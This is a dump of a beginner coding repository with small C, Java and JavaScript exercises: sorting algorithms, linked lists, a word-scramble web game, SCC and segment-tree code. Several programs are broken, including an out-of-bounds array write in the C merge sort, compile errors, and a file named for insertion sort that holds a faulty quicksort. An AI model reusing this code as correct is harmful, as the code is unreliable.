20 | 21 | L[n1 + 1] = INT_MAX; 22 | R[n2 + 1] = INT_MAX; 23 | i=1; 24 | j=1; 25 | 26 | for(k=p; k <= r; k++) 27 | { 28 | if(L[i] <= R[j]) 29 | { 30 | arr[k]=L[i]; 31 | i++; 32 | } 33 | else 34 | { 35 | arr[k]=R[j]; 36 | j++; 37 | } 38 | } 39 | } 40 | 41 | void mergeSort(int arr[], int p, int r) 42 | { 43 | if (p < r) 44 | { 45 | int q= floor((p + r) / 2); 46 | 47 | mergeSort(arr, p, q); 48 | mergeSort(arr, q + 1, r); 49 | 50 | merge(arr, p, q, r); 51 | } 52 | } 53 | 54 | 55 | int main() 56 | { 57 | int n; 58 | printf("enter the size of array : "); 59 | scanf("%d",&n); 60 | 61 | int arr[n]; 62 | 63 | srand(time(0)); 64 | for(int i=1; i <= n; i++) 65 | { 66 | arr[i]= rand() % 100; 67 | } 68 | printf("Given array is \n"); 69 | for (int i=1; i <= n; i++) 70 | printf("%d ", arr[i]); 71 | printf("\n"); 72 | 73 | mergeSort(arr, 1, n ); 74 | 75 | printf("\nSorted array is \n"); 76 | 77 | for (int i=1; i <= n; i++) 78 | printf("%d ", arr[i]); 79 | printf("\n"); 80 | 81 | 82 | return 0; 83 | } 84 | -------------------------------------------------------------------------------- /C/palindrome.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | printf("Enter a Positive Integer:"); 5 | int n,j=0,nnum=0; 6 | scanf("%d",&n); 7 | int k=n; 8 | while (k>0){ 9 | j*=10; 10 | j+=k%10; 11 | 12 | 13 | k/=10; 14 | 15 | 16 | } 17 | if(j==n){ 18 | printf("It is a palindrome\n"); 19 | 20 | } else{ 21 | printf("It is not a palindrome\n"); 22 | } 23 | 24 | 25 | 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /C/pointers.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void update(int *a,int *b) { 4 | // Complete this function 5 | *a = *a+*b; 6 | *b = *a-*b-*b; 7 | if(*b<0) { 8 | *b=*b*-1; 9 | } 10 | } 11 | 12 | int main() { 13 | int a, b; 14 | int *pa = &a, *pb = &b; 15 | 16 | scanf("%d %d", &a, &b); 17 | update(pa, pb); 18 | printf("%d\n%d", a, b); 19 | 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /CheckBirthday.java: -------------------------------------------------------------------------------- 1 | import java.time.LocalDate; 2 | import java.time.Month; 3 | 4 | public class Main { 5 | public static void main(String args[]) { 6 | 7 | // declare variables for birthday 8 | int birthDate = 23; 9 | Month birthMonth = Month.SEPTEMBER; 10 | 11 | // get current date 12 | LocalDate currentDate = LocalDate.now(); 13 | System.out.println("Todays Date: " + currentDate); 14 | 15 | // get current date and month 16 | int date = currentDate.getDayOfMonth(); 17 | Month month = currentDate.getMonth(); 18 | 19 | if(date == birthDate && month == birthMonth) { 20 | System.out.println("HAPPY BIRTHDAY TO YOU !!"); 21 | } 22 | else { 23 | System.out.println("Today is not my birthday."); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /CircularLinkedList.java: -------------------------------------------------------------------------------- 1 | package circularlinkedlist; 2 | public class CircularLinkedList{ 3 | class Node{ 4 | int data; 5 | Node next; 6 | } 7 | 8 | Node addToEmpty(Node last, int data){ 9 | if (last != null) 10 | return last; 11 | 12 | Node temp = new Node(); 13 | temp.data = data; 14 | last = temp; 15 | last.next = last; 16 | 17 | return last; 18 | } 19 | 20 | Node addBegin(Node last, int data){ 21 | if(last == null) 22 | return addToEmpty(last, data); 23 | 24 | Node temp = new Node(); 25 | 26 | temp.data = data; 27 | temp.next = last.next; 28 | last.next = temp; 29 | 30 | return last; 31 | } 32 | 33 | Node addEnd(Node last, int data){ 34 | if (last == null) 35 | return addToEmpty(last, data); 36 | 37 | Node temp = new Node(); 38 | 39 | temp.data = data; 40 | temp.next = last.next; 41 | last.next = temp; 42 | last = temp; 43 | 44 | return last; 45 | } 46 | 47 | Node addAfter(Node last, int data, int item){ 48 | if (last == null) 49 | return null; 50 | 51 | Node temp, p; 52 | p = last.next; 53 | 54 | do{ 55 | if(p.data == item){ 56 | temp = new Node(); 57 | temp.data = data; 58 | temp.next = p.next; 59 | p.next = temp; 60 | 61 | if(p == last) 62 | last = temp; 63 | return last; 64 | } 65 | p = p.next; 66 | } 67 | while(p != last.next); 68 | 69 | System.out.println(item + " not present in the list."); 70 | return last; 71 | } 72 | 73 | void traverse(Node last){ 74 | Node p; 75 | 76 | if (last == null){ 77 | System.out.println("List is Empty."); 78 | return; 79 | } 80 | 81 | p = last.next; 82 | 83 | do{ 84 | System.out.print(p.data + " "); 85 | p = p.next; 86 | } 87 | while (p != last.next); 88 | } 89 | 90 | public static void main(String[] args){ 91 | Node last = null; 92 | 93 | CircularLinkedList obj=new CircularLinkedList(); 94 | 95 | last = obj.addToEmpty(last,5); 96 | last = obj.addBegin(last, 3); 97 | last = obj.addBegin(last, 2); 98 | last = obj.addEnd(last, 7); 99 | last = addEnd(last, 11); 100 | last = addEnd(last, 17); 101 | last = addEnd(last, 19); 102 | last = addAfter(last, 13, 11); 103 | 104 | traverse(last); 105 | } 106 | } -------------------------------------------------------------------------------- /ConstructorOverload.java: -------------------------------------------------------------------------------- 1 | class Student { 2 | String name; 3 | int regno; 4 | float cgpa; 5 | 6 | Student(String n) { 7 | name = n; 8 | } 9 | Student(int r) { 10 | regno = r; 11 | } 12 | Student(float gpa) { 13 | cgpa = gpa; 14 | } 15 | } 16 | 17 | class ConstructorOverload { 18 | public static void main(String args[]) { 19 | Student s1 = new Student("Gagan Khatri"); 20 | Student s2 = new Student(124157019); 21 | Student s3 = new Student(8.17f); 22 | 23 | System.out.println("Object s1 NAME : "+s1.name); 24 | System.out.println("Object s2 Registration Number : "+s2.regno); 25 | System.out.println("Object s3 CGPA : "+s3.cgpa); 26 | } 27 | } 28 | 29 | -------------------------------------------------------------------------------- /Fibonacciseries.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/harsh-dart/Harsh-Hacktoberfest2021/8f8d6564cea94195827843a3af989756b4ea921b/Fibonacciseries.exe -------------------------------------------------------------------------------- /Harsh-Hacktoberfest2021.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Insertionsort.java: -------------------------------------------------------------------------------- 1 | class quicksort { 2 | 3 | 4 | 5 | static int partition(int a[],int s,int e){ 6 | int i=s-1; 7 | int j=s; 8 | int pivot=a[e]; 9 | for(;j=e){ 20 | return; 21 | } 22 | int p=partition(a,s,e); 23 | quicksort(a,s,p-1); 24 | quicksort(a,p+1,e); 25 | } 26 | 27 | public static void main(String args[]) 28 | { 29 | int arr[] = { 12, 11,4,55 }; 30 | 31 | quicksort ob = new quicksort(); 32 | ob.quicksort(arr); 33 | } 34 | } -------------------------------------------------------------------------------- /Java Script/FizzBuzz.js: -------------------------------------------------------------------------------- 1 | //classic fizzBuzz Problem done using js 2 | 3 | function fizzBuzz(limit) { 4 | for (let i = 1; i <= limit; i++) { 5 | if (i % 3 === 0 && i % 5 === 0) { 6 | console.log("FizzBuzz"); 7 | continue; 8 | } else if (i % 3 === 0) { 9 | console.log("FIzz"); 10 | continue; 11 | } else if (i % 5 === 0) { 12 | console.log("Buzz"); 13 | continue; 14 | } 15 | console.log(i); 16 | } 17 | } 18 | 19 | fizzBuzz(15); 20 | -------------------------------------------------------------------------------- /Java Script/Scramble/Scramble.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Guess word 9 | 10 | 11 | 12 | 13 |

Scramble Word Game

14 | 15 | 16 | 17 | 18 |
19 |

Guess Word

20 | 21 |
22 | 23 | 24 |
25 |
26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /Java Script/Scramble/guessWord.css: -------------------------------------------------------------------------------- 1 | @import url("https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600;700&display=swap"); 2 | 3 | * { 4 | margin: 0; 5 | padding: 0; 6 | font-family: "Poppins", sans-serif; 7 | box-sizing: border-box; 8 | text-decoration: none; 9 | 10 | } 11 | 12 | body{ 13 | background-color: #1876b0; 14 | } 15 | 16 | 17 | /*heading*/ 18 | 19 | .heading{ 20 | color: #ffffff; 21 | font-size: 35px; 22 | text-align: center; 23 | margin-top: 30px; 24 | text-shadow: 2px 2px #1d8dd2; 25 | } 26 | 27 | /*quiz box*/ 28 | 29 | .hidden{ 30 | display:none; 31 | } 32 | 33 | 34 | .quiz-box 35 | { 36 | position: absolute; 37 | top: 50%; 38 | left: 50%; 39 | transform: translate(-50%, -50%); 40 | box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2), 41 | 0 6px 20px 0 rgba(0, 0, 0, 0.19); 42 | border-radius: 5px; 43 | padding: 20px 20px 20px 20px; 44 | background-color: #11537c; 45 | min-height: 300px; 46 | width: 500px; 47 | vertical-align: middle; 48 | } 49 | 50 | 51 | 52 | .quiz-box h3{ 53 | margin-top: 40px; 54 | color:#ffffff; 55 | font-size: 25px; 56 | text-align: center; 57 | margin-bottom: 50px; 58 | } 59 | 60 | .quiz-box input{ 61 | border-radius: 25px; 62 | height: 35px; 63 | width: 200px; 64 | margin: 0px 50px 30px 130px; 65 | border: none; 66 | color: #222; 67 | font-size: 20px; 68 | } 69 | input[type=text]{ 70 | border-radius: 25px; 71 | border: none; 72 | padding-left: 20px; 73 | } 74 | 75 | .quiz-box input :hover{ 76 | border: none; 77 | border-radius: 25px; 78 | } 79 | 80 | .quiz-box .buttons{ 81 | height: 60px; 82 | display: flex; 83 | justify-content: center; 84 | 85 | 86 | 87 | 88 | } 89 | 90 | .quiz-box .buttons button{ 91 | margin: 0 5px; 92 | height: 40px; 93 | padding:0px 20px 20px 20px; 94 | font-size: 24px; 95 | font-weight: 500; 96 | cursor: pointer; 97 | border: none; 98 | outline: none; 99 | border-radius: 10px; 100 | transition: all 0.3s ease; 101 | } 102 | 103 | .btn { 104 | background-color: #1771a9; 105 | color: #ffffff; 106 | font-size: 20px; 107 | } 108 | 109 | .buttons .quit 110 | { 111 | background-color:#9f1625; 112 | 113 | } 114 | 115 | .quit a{ 116 | color: #ffffff; 117 | } 118 | 119 | .btn :hover { 120 | opacity: 0.6; 121 | } 122 | .quit :hover{ 123 | opacity: 0.6; 124 | } 125 | -------------------------------------------------------------------------------- /Java Script/Scramble/guessWord.js: -------------------------------------------------------------------------------- 1 | const msg =document.querySelector('.msg'); 2 | const guess = document.querySelector('input'); 3 | const btn = document.querySelector('.btn'); 4 | let play= false; 5 | let newWords=""; 6 | let randWords = ""; 7 | let sWords = ['Cow','education','tree','question','space','sky','terminal']; 8 | 9 | function createNewWords () { 10 | let ranNum = Math.floor(Math.random() * sWords.length); 11 | let newTempSwords = sWords[ranNum]; 12 | return newTempSwords; 13 | } 14 | 15 | 16 | function scrambleWords (arr){ 17 | for( let i = arr.length-1; i>0; i--) 18 | { 19 | let temp = arr[i]; 20 | let j = Math.floor(Math.random()*(i+1)); 21 | arr[i] = arr[j]; 22 | arr[j] = temp; 23 | 24 | } 25 | return arr; 26 | } 27 | 28 | 29 | btn.addEventListener('click', function() 30 | { 31 | 32 | if(!play) 33 | { 34 | play=true; 35 | btn.innerHTML="Guess"; 36 | guess.classList.toggle('hidden'); 37 | newWords = createNewWords(); 38 | randWords = scrambleWords(newWords.split("")).join(""); 39 | msg.innerHTML =`Guess the word: ${randWords}`; 40 | } 41 | else{ 42 | 43 | let tempWord =guess.value; 44 | if(tempWord === newWords){ 45 | play= false; 46 | msg.innerHTML = `Awesome It's correct. It is ${newWords}`; 47 | btn.innerHTML ="Play Again"; 48 | guess.classList.toggle('hidden'); 49 | guess.value =""; 50 | } 51 | else{ 52 | msg.innerHTML = `Sorry, It's not correct. Please try again ${randWords}`; 53 | } 54 | } 55 | }) -------------------------------------------------------------------------------- /Java Script/checkAnagram.js: -------------------------------------------------------------------------------- 1 | //Anagram is a word or phrase that is made by 2 | //arranging the letters of another word or phrase in a different order 3 | 4 | let firstItem = "Mary"; 5 | let secondItem = "Army"; 6 | 7 | function checkAnagram(i, j) { 8 | let one = i.toLowerCase(); 9 | let two = j.toLowerCase(); 10 | const itemOne = one.split("").sort().join(""); 11 | const itemTwo = two.split("").sort().join(""); 12 | 13 | return itemOne === itemTwo; 14 | } 15 | 16 | console.log(checkAnagram(firstItem, secondItem)); 17 | -------------------------------------------------------------------------------- /Java/AreMirrorTree.java: -------------------------------------------------------------------------------- 1 | // Java program to see if two trees 2 | // are mirror of each other 3 | 4 | // A binary tree node 5 | class Node 6 | { 7 | int data; 8 | Node left, right; 9 | 10 | public Node(int data) 11 | { 12 | this.data = data; 13 | left = right = null; 14 | } 15 | } 16 | 17 | public class AreMirrorTree 18 | { 19 | Node a, b; 20 | 21 | /* Given two trees, return true if they are 22 | mirror of each other */ 23 | boolean areMirror(Node a, Node b) 24 | { 25 | /* Base case : Both empty */ 26 | if (a == null && b == null) 27 | return true; 28 | 29 | // If only one is empty 30 | if (a == null || b == null) 31 | return false; 32 | 33 | /* Both non-empty, compare them recursively 34 | Note that in recursive calls, we pass left 35 | of one tree and right of other tree */ 36 | return a.data == b.data 37 | && areMirror(a.left, b.right) 38 | && areMirror(a.right, b.left); 39 | } 40 | 41 | public static void main(String[] args) 42 | { 43 | AreMirrorTree tree = new AreMirrorTree(); 44 | Node a = new Node(1); 45 | Node b = new Node(1); 46 | a.left = new Node(2); 47 | a.right = new Node(3); 48 | a.left.left = new Node(4); 49 | a.left.right = new Node(5); 50 | 51 | b.left = new Node(3); 52 | b.right = new Node(2); 53 | b.right.left = new Node(5); 54 | b.right.right = new Node(4); 55 | 56 | if (tree.areMirror(a, b)) 57 | System.out.println("Yes"); 58 | else 59 | System.out.println("No"); 60 | 61 | } 62 | } 63 | 64 | -------------------------------------------------------------------------------- /Java/Bsort.java: -------------------------------------------------------------------------------- 1 | package bsort; 2 | 3 | public class Bsort { 4 | static void bsort(int[] arr) { 5 | int x = arr.length; 6 | int tmp = 0; 7 | for(int i=0; i < x; i++){ 8 | for(int k=1; k < (x-i); k++){ 9 | if(arr[k-1] > arr[k]){ 10 | tmp = arr[k-1]; 11 | arr[k-1] = arr[k]; 12 | arr[k] = tmp; 13 | } 14 | 15 | } 16 | } 17 | 18 | } 19 | public static void main(String[] args) { 20 | int ar[] ={2,46,88,930,47,100,353,18}; 21 | 22 | System.out.println("Your Entered Array"); 23 | for(int i=0; i < ar.length; i++){ 24 | System.out.print(ar[i] + " "); 25 | } 26 | System.out.println(); 27 | 28 | bsort(ar); 29 | 30 | System.out.println("Sorting Array is:"); 31 | for(int i=0; i < ar.length; i++){ 32 | System.out.print(ar[i] + " "); 33 | } 34 | 35 | } 36 | } -------------------------------------------------------------------------------- /Java/Bubblesort.java: -------------------------------------------------------------------------------- 1 | 2 | package bubblesort; 3 | import java.util.Arrays; 4 | import java.util.Scanner; 5 | 6 | public class Bubblesort { 7 | 8 | Scanner input = new Scanner(System.in); 9 | 10 | void bubbleSort(int array[]) { 11 | int size = array.length; 12 | 13 | // for ascending or descending sort 14 | System.out.println("Choose Sorting Order:"); 15 | System.out.println("1 for Ascending \n2 for Descending"); 16 | int sortOrder = input.nextInt(); 17 | 18 | // run loops two times 19 | // first loop access each element of the array 20 | for (int i = 0; i < size - 1; i++) 21 | 22 | // second loop performs the comparison in each iteration 23 | for (int j = 0; j < size - i - 1; j++) 24 | 25 | // sort the array in ascending order 26 | if (sortOrder == 1) { 27 | // compares the adjacent element 28 | if (array[j] > array[j + 1]) { 29 | 30 | // swap if left element is greater than right 31 | int temp = array[j]; 32 | array[j] = array[j + 1]; 33 | array[j + 1] = temp; 34 | } 35 | } 36 | 37 | // sort the array in descending order 38 | else { 39 | // compares the adjacent element 40 | if (array[j] < array[j + 1]) { 41 | 42 | // swap if left element is smaller than right 43 | int temp = array[j]; 44 | array[j] = array[j + 1]; 45 | array[j + 1] = temp; 46 | } 47 | } 48 | 49 | } 50 | 51 | // driver code 52 | public static void main(String args[]) { 53 | 54 | // create an array 55 | int[] data = { -2, 45, 0, 11, -9 }; 56 | 57 | // create an object of Main class 58 | Bubblesort bs = new Bubblesort(); 59 | 60 | // call the method bubbleSort using object bs 61 | // pass the array as the method argument 62 | bs.bubbleSort(data); 63 | System.out.println("Sorted Array in Ascending Order:"); 64 | 65 | // call toString() of Arrays class 66 | // to convert data into the string 67 | System.out.println(Arrays.toString(data)); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /Java/Calculator.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class Calculator { 4 | public static void main(String[] args) { 5 | Scanner input = new Scanner(System.in); 6 | double number1, number2, result; 7 | char operator; 8 | 9 | System.out.print("Input the first number : "); 10 | number1 = input.nextDouble(); 11 | System.out.print("Input the operator (+, _, *, /)"); 12 | operator = input.next().charAt(0); 13 | System.out.print("Input the second number : "); 14 | number2 = input.nextDouble(); 15 | 16 | 17 | switch (operator) { 18 | case '+' -> { 19 | result = number1 + number2; 20 | System.out.println(number1 + " + " + number2 + " = " + result); 21 | } 22 | case '-' -> { 23 | result = number1 - number2; 24 | System.out.println(number1 + " - " + number2 + " = " + result); 25 | } 26 | case '/' -> { 27 | result = number1 / number2; 28 | System.out.println(number1 + " / " + number2 + " = " + result); 29 | } 30 | case '*' -> { 31 | result = number1 * number2; 32 | System.out.println(number1 + " * " + number2 + " = " + result); 33 | } 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /Java/CountNumberofDigits.java: -------------------------------------------------------------------------------- 1 | class Solution { 2 | public int countNumberofDigits(int n) { 3 | if (n >= 0) { 4 | return (int) Math.log10(n) + 1; 5 | } else { 6 | // To handle the case of negative number 7 | return (int) Math.log10(Math.abs(n)) + 1; 8 | } 9 | 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Java/Daya.java: -------------------------------------------------------------------------------- 1 | package practise_java; 2 | import java.util.Scanner; 3 | public class Days { 4 | 5 | public static void main(String[] args) { 6 | // TODO Auto-generated method stub 7 | Scanner s=new Scanner(System.in); 8 | int day=s.nextInt(); 9 | String name; 10 | switch(day) 11 | { 12 | case 1: name="monday";break; 13 | case 2: name="tuesday";break; 14 | case 3: name="wednesday";break; 15 | case 4: name="thursday";break; 16 | case 5: name="friday";break; 17 | case 6: name="saturday";break; 18 | case 7: name="sunday";break; 19 | default:name="invalid"; 20 | 21 | } 22 | System.out.println("the day is " + name); 23 | } 24 | 25 | } 26 | -------------------------------------------------------------------------------- /Java/DecimalToAnyBase.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | 3 | public class DecimalToAnyBase { 4 | 5 | public static int getAnyBase(int n, int b){ 6 | int rv=0; 7 | 8 | int p = 1; 9 | while(n > 0){ 10 | int dig = n % b; 11 | n = n / b; 12 | 13 | rv = rv + dig * p; 14 | p= p *10; 15 | } 16 | return rv; 17 | } 18 | public static void main(String[] args) { 19 | Scanner sc = new Scanner(System.in); 20 | int n = sc.nextInt(); 21 | int b = sc.nextInt(); 22 | int dn = getAnyBase(n, b); 23 | System.out.println(dn); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Java/Determinantofmatrix.java: -------------------------------------------------------------------------------- 1 | package arrays; 2 | 3 | import java.util.Scanner; 4 | 5 | public class Determinantofmatrix { 6 | public static void main(String[] args) { 7 | Scanner sc = new Scanner(System.in); 8 | 9 | System.out.println("Enter dimensions of matrix (Dimensions should be equal): "); 10 | 11 | int rows = sc.nextInt(); 12 | int cols = sc.nextInt(); 13 | 14 | int mat[][] = new int[rows][cols]; 15 | 16 | System.out.println("Enter matrix elements: "); 17 | 18 | for(int i = 0; i < rows; i++) { 19 | for(int j = 0; j < cols; j++) { 20 | mat[i][j] = sc.nextInt(); 21 | } 22 | } 23 | int res = determinantofMatrix(mat,rows); 24 | System.out.println(res); 25 | 26 | } 27 | 28 | //function for Co-factor 29 | public static void getcoFactor(int mat[][],int temp[][],int p,int q,int n) { 30 | int i = 0, j = 0; 31 | for(int row = 0; row < n; row++) { 32 | for(int col = 0; col < n; col++) { 33 | if(row != p && col != q) { 34 | temp[i][j++] = mat[row][col]; 35 | if(j==n-1) { 36 | j = 0; 37 | i++; 38 | } 39 | } 40 | } 41 | } 42 | } 43 | 44 | //Function for finding determinant of matrix 45 | public static int determinantofMatrix(int matrix[][],int n) { 46 | int determinant = 0; 47 | if(n==1) { 48 | return matrix[0][0]; 49 | } 50 | int temp[][] = new int[n][n]; 51 | int sign = 1; 52 | for(int f = 0; f < n; f++) { 53 | getcoFactor(matrix,temp,0,f,n); 54 | determinant += sign*matrix[0][f]*determinantofMatrix(temp,n-1); 55 | sign = -sign; 56 | } 57 | return determinant; 58 | } 59 | } 60 | 61 | 62 | -------------------------------------------------------------------------------- /Java/DigitFrequency.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | 3 | public class DigitFrequency { 4 | public static int digFrequency(int n, int d){ 5 | int count = 0; 6 | while(n > 0 ){ 7 | int dig = n % 10; 8 | n = n/10; 9 | 10 | if(dig == d ) 11 | { 12 | count++; 13 | } 14 | } 15 | return count; 16 | } 17 | public static void main(String[] args) { 18 | Scanner sc = new Scanner(System.in); 19 | int n = sc.nextInt(); 20 | int d = sc.nextInt(); 21 | int f = digFrequency(n, d); 22 | System.out.println(f); 23 | } 24 | } -------------------------------------------------------------------------------- /Java/DoublyLinkedList.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | class Node { 4 | int data; 5 | Node next; 6 | Node prev; 7 | 8 | public Node(int data) { 9 | this.data = data; 10 | this.next = null; 11 | this.prev = null; 12 | } 13 | } 14 | 15 | public class DoublyLinkedList { 16 | Node head; 17 | 18 | public void DoublyLinkedList() { 19 | this.head = null; 20 | } 21 | 22 | public boolean isEmpty() { 23 | return head == null; 24 | } 25 | 26 | public void insertAtBeginging(int data) { 27 | Node newnode = new Node(data); 28 | if (isEmpty()) { 29 | head = newnode; 30 | } else { 31 | newnode.next = head; 32 | head = newnode; 33 | } 34 | 35 | } 36 | 37 | public void insertAtLast(int data) { 38 | Node newnode = new Node(data); 39 | if (isEmpty()) 40 | head = newnode; 41 | else { 42 | Node temp = head; 43 | while (temp.next != null) { 44 | temp = temp.next; 45 | } 46 | temp.next = newnode; 47 | newnode.prev = temp; 48 | } 49 | } 50 | 51 | public void deleteFromBegining() { 52 | if (!isEmpty()) { 53 | if (head.next != null) 54 | head = head.next; 55 | } else 56 | System.out.println("Empty List"); 57 | } 58 | 59 | public void deleteFromLast() { 60 | } 61 | 62 | public void displayFromStart() { 63 | if (!isEmpty()) { 64 | Node temp = head; 65 | int counter = 0; 66 | while (temp != null) { 67 | System.out.println("Data at " + counter + " index is " + temp.data); 68 | temp = temp.next; 69 | counter++; 70 | } 71 | } else 72 | System.out.println("Empty List"); 73 | } 74 | } 75 | 76 | class DoublyLinkedListMain { 77 | public static void main(String[] args) { 78 | DoublyLinkedList obj = new DoublyLinkedList(); 79 | while (true) { 80 | Scanner sc = new Scanner(System.in); 81 | System.out.println( 82 | "Enter Choice:\n1. Enter data at begining\n2. Display from start\n3. Enter data at last:\n4. delete from begining\n5. Exit"); 83 | switch (sc.nextInt()) { 84 | case 1: 85 | System.out.println("Enter value:"); 86 | obj.insertAtBeginging(sc.nextInt()); 87 | break; 88 | case 2: 89 | obj.displayFromStart(); 90 | break; 91 | case 3: 92 | System.out.println("Enter value:"); 93 | obj.insertAtLast(sc.nextInt()); 94 | break; 95 | case 4: 96 | obj.deleteFromBegining(); 97 | break; 98 | case 5: 99 | System.out.println("Thank You"); 100 | return; 101 | } 102 | } 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /Java/DuplicateElement.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | 3 | public class DuplicateElement { 4 | public static void main(String[] args) { 5 | Scanner sc = new Scanner(System.in); 6 | System.out.println("Enter size of array"); 7 | int size = sc.nextInt(); 8 | int[] arr = new int[size]; 9 | int f[] = new int[size]; 10 | 11 | for(int i = 0; i 1) 21 | System.out.println(arr[i]); 22 | } 23 | 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Java/EvenOdd.java: -------------------------------------------------------------------------------- 1 | class EvenOdd{ 2 | public static void main(String[] args) { 3 | int number = 10; 4 | 5 | if(number%2 == 0){ 6 | System.out.println("Even"); 7 | } 8 | else{ 9 | System.out.println("Odd"); 10 | } 11 | } 12 | } -------------------------------------------------------------------------------- /Java/FibonacciSeries.java: -------------------------------------------------------------------------------- 1 | class FibonacciSeries{ 2 | public static void main(String args[]) 3 | { 4 | int n1=0,n2=1,n3,i,count=10; 5 | System.out.print(n1+" "+n2); 6 | 7 | for(i=2;i hm = new HashMap<>(); 8 | for(int i=0; i hm.get(mfc)){ 23 | mfc = key; 24 | } 25 | } 26 | System.out.println(mfc); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Java/InsertionSort.java: -------------------------------------------------------------------------------- 1 | package insertionsort; 2 | 3 | public class InsertionSort { 4 | public static void insertionSort(int array[]) { 5 | int m = array.length; 6 | for (int k = 1; k < m; k++) { 7 | int ky = array[k]; 8 | int b = k-1; 9 | while ( (b > -1) && ( array [b] > ky ) ) { 10 | array [b+1] = array [b]; 11 | b--; 12 | } 13 | array[b+1] = ky; 14 | } 15 | } 16 | 17 | public static void main(String a[]){ 18 | int[] arr = {5,3,48,77,100,978,23,1,233,4,41}; 19 | System.out.println("Your Entered Array"); 20 | for(int i:arr){ 21 | System.out.print(i+" "); 22 | } 23 | System.out.println(); 24 | 25 | insertionSort(arr) 26 | 27 | System.out.println("Sorting Aftre Array"); 28 | for(int i:arr){ 29 | System.out.print(i+" "); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Java/IntergerRead.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.lang.Math; 3 | 4 | public class IntergerRead { 5 | 6 | void rev() { 7 | Scanner sc = new Scanner(System.in); 8 | System.out.println("Enter the Number:"); 9 | long num = sc.nextLong(); 10 | long ten = 10; 11 | 12 | int count = 0; 13 | long rev = 0; 14 | long rem = 0; 15 | long temp = num; 16 | while (temp > 0) { 17 | temp /= 10; 18 | count++; 19 | } 20 | temp = count; 21 | while (num > 0) { 22 | rem = num % 10; 23 | rev += rem * Math.pow(10, count - 1); 24 | count--; 25 | num /= 10; 26 | } 27 | 28 | String ar[] = { "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine" }; 29 | while (temp > 0) { 30 | System.out.print(ar[(int) (rev % 10)] + " "); 31 | rev /= 10; 32 | temp--; 33 | } 34 | } 35 | 36 | public static void main(String args[]) { 37 | IntergerRead obj = new IntergerRead(); 38 | obj.rev(); 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /Java/JumpSearch.java: -------------------------------------------------------------------------------- 1 | package searching_algos; 2 | 3 | public class JumpSearch { 4 | 5 | public static void main(String[] args) { 6 | int arr[] = { 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610}; 7 | int x = 55; 8 | int index = jump(arr, x); 9 | System.out.println("Number " + x +" is at index " + index); 10 | } 11 | 12 | static int jump(int arr[],int x) { 13 | int step = (int)Math.floor(Math.sqrt(arr.length)); 14 | int prev = 0; 15 | while(arr[Math.min(step, arr.length)-1] < x) { 16 | prev=step; 17 | step+=(int)Math.floor(Math.sqrt(arr.length)); 18 | if(prev >= arr.length) 19 | return -1; 20 | } 21 | while(arr[prev]> adj) 13 | { 14 | 15 | //i) This part helps to find the topological order of graph: 16 | Stack st= new Stack<>(); 17 | int[] vis= new int[V]; 18 | for(int i=0;i2 will be changed to 1<-2 26 | ArrayList> transpose= new ArrayList>(); 27 | for(int i=0;i()); 29 | 30 | for(int i=0;i0) 39 | { 40 | int node=st.pop(); 41 | if(vis[node]==0) 42 | { 43 | c++; 44 | revDfs(node,transpose,vis); 45 | } 46 | } 47 | return c; //returns the count 48 | } 49 | // this function is a normal DFS 50 | void revDfs(int node, ArrayList> transpose, int[]vis) 51 | { 52 | vis[node]=1; 53 | 54 | for(int it: transpose.get(node)) 55 | { 56 | if(vis[it]==0) 57 | revDfs(it,transpose,vis); 58 | } 59 | } 60 | //Topological sorting using DFS 61 | void topo(int node, int[] vis, ArrayList> adj, Stack st) 62 | { 63 | vis[node]=1; 64 | for(int it: adj.get(node)) 65 | { 66 | if(vis[it]==0) 67 | topo(it,vis,adj,st); 68 | } 69 | st.push(node); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Java/KthOne.java: -------------------------------------------------------------------------------- 1 | package Segment_trees; 2 | 3 | import java.util.Scanner; 4 | 5 | 6 | 7 | public class KthOne { 8 | 9 | 10 | static int n=100002; 11 | static int a[]=new int[n]; 12 | static int tree[]=new int[4*n]; 13 | 14 | 15 | static void build(int node,int s,int e) 16 | { 17 | if(s==e) 18 | { 19 | tree[node]=a[s]; 20 | return; 21 | } 22 | int mid=(s+e)/2; 23 | build(2*node,s,mid); 24 | build(2*node+1,mid+1,e); 25 | tree[node]=(tree[2*node]+ tree[2*node +1]); 26 | 27 | 28 | } 29 | static void update(int node,int s,int e,int ind) 30 | { 31 | if(s==e) 32 | { 33 | if(a[s]==0) 34 | { 35 | a[s]=1; 36 | tree[node]=1; 37 | } 38 | else 39 | { 40 | a[s]=0; 41 | tree[node]=0; 42 | } 43 | return; 44 | } 45 | int mid=(s+e)/2; 46 | if(ind<=mid) 47 | { 48 | update(2*node,s,mid,ind); 49 | } 50 | else 51 | update(2*node+1,mid+1,e,ind); 52 | tree[node]=tree[2*node]+tree[2*node+1]; 53 | } 54 | public static void main(String[] args) { 55 | // TODO 